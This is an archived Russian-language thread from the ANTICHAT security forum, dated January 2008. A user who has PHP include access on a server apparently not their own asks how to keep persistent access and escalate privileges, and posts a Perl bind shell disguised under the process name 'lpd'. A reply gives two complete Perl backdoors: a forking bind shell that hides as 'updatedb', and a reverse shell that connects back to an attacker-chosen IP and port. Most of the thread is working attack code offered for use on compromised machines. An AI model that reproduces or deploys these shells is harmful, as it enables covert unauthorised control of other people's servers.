ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
помогите разобратся с серваками |
02.01.2008, 03:05
|
|
Познающий
Регистрация: 18.01.2007
Сообщений: 63
Провел на форуме:
292941
Репутация:
27
|
|
помогите разобратся с серваками
Вобщем ситуация такая есть на одном серваке php инклуд т.е. доступ к консоле есть но вот сталкнулся с такой проблемой заливаю бакконект компилирую и нифига не работает... он ко мне не конектится пробовал несколько перловых скриптов бак конект и бакдор тоже не работает посоветуйте как можно закрепится на этом серваке и как поднять прова?
и 2-ое есть ещё один сервак там без проблем работает бакконект но этот скрипт:
Код:
#!/usr/bin/perl
# * Usage:
# remote.com$ ./nohup bindshell.pl &
# remote.com$ exit
# Connection closed by foreign host
# localhost$ telnet remote.com 60000
# Trying 192.168.1.1...
# Connected to remote.com.
# Escape character is '^]'.
# (user@remote.com:/home/user/)
# cat /etc/passwd; etc
use Socket;
$port = 60000;
$proto = getprotobyname('tcp');
$cmd = "lpd";
$system = 'echo "(`whoami`@`uname -n`:`pwd`)"; /bin/sh';
$0 = $cmd;
socket(SERVER, PF_INET, SOCK_STREAM, $proto) or die "socket:$!";
setsockopt(SERVER, SOL_SOCKET, SO_REUSEADDR, pack("l", 1)) or die "setsockopt: $!";
bind(SERVER, sockaddr_in($port, INADDR_ANY)) or die "bind: $!";
listen(SERVER, SOMAXCONN) or die "listen: $!";
for(; $paddr = accept(CLIENT, SERVER); close CLIENT)
{open(STDIN, ">&CLIENT");
open(STDOUT, ">&CLIENT");
open(STDERR, ">&CLIENT");
system($system);
close(STDIN);
close(STDOUT);
close(STDERR);
}
не правильно как то работает т.е. я подключаюсь к нему через телнет и он мне все время выдает курсор не в начале строки а с отступом и при попытках запустить хоть одну команду постаянно пишет ошибку  что в нем не так... или подскажите какие нибудь другие бакдоры.
ЗЫ: пожалуйсто отвечайте по подробней!
зараннее спасибо! |
|
|
02.01.2008, 23:41
|
|
Постоянный
Регистрация: 03.02.2007
Сообщений: 520
Провел на форуме:
1777536
Репутация:
932
|
|
Вот те раз.
Вот те два(поищи, там много интересного). |
|
|
|
03.01.2008, 20:34
|
|
Green member - Level 3
Регистрация: 28.10.2004
Сообщений: 275
Провел на форуме:
672798
Репутация:
244
|
|
Я пользуюсь классикой 
bind.pl
Код:
#!/usr/bin/perl
$port = 32666;
$port = $ARGV[0] if $ARGV[0];
exit if fork;
$0 = "updatedb" . " " x100;
$SIG{CHLD} = 'IGNORE';
use Socket;
socket(S, PF_INET, SOCK_STREAM, 0);
setsockopt(S, SOL_SOCKET, SO_REUSEADDR, 1);
bind(S, sockaddr_in($port, INADDR_ANY));
listen(S, 50);
while(1)
{
accept(X, S);
unless(fork)
{
open STDIN, "<&X";
open STDOUT, ">&X";
open STDERR, ">&X";
close X;
exec("/bin/sh");
}
close X;
}
back.pl
Код:
use Socket;
$ip=$ARGV[0];
$port=$ARGV[1];
$shell=$ARGV[2];
$system= "$shell";
$0=$cmd;
$shell=$ARGV[2];
$iaddr=inet_aton($ip) || die("Error: $!\n");
$paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");
$proto=getprotobyname('tcp');
socket(SOCK, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
connect(SOCK, $paddr) || die("Error: $!\n");
open(STDIN, ">&SOCK");
open(STDOUT, ">&SOCK");
open(STDERR, ">&SOCK");
system($system);
close(STDIN);
close(STDOUT);
close(STDERR);
__________________
Халявный инет, гомосексуализму нет!!! (c) MicRO
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
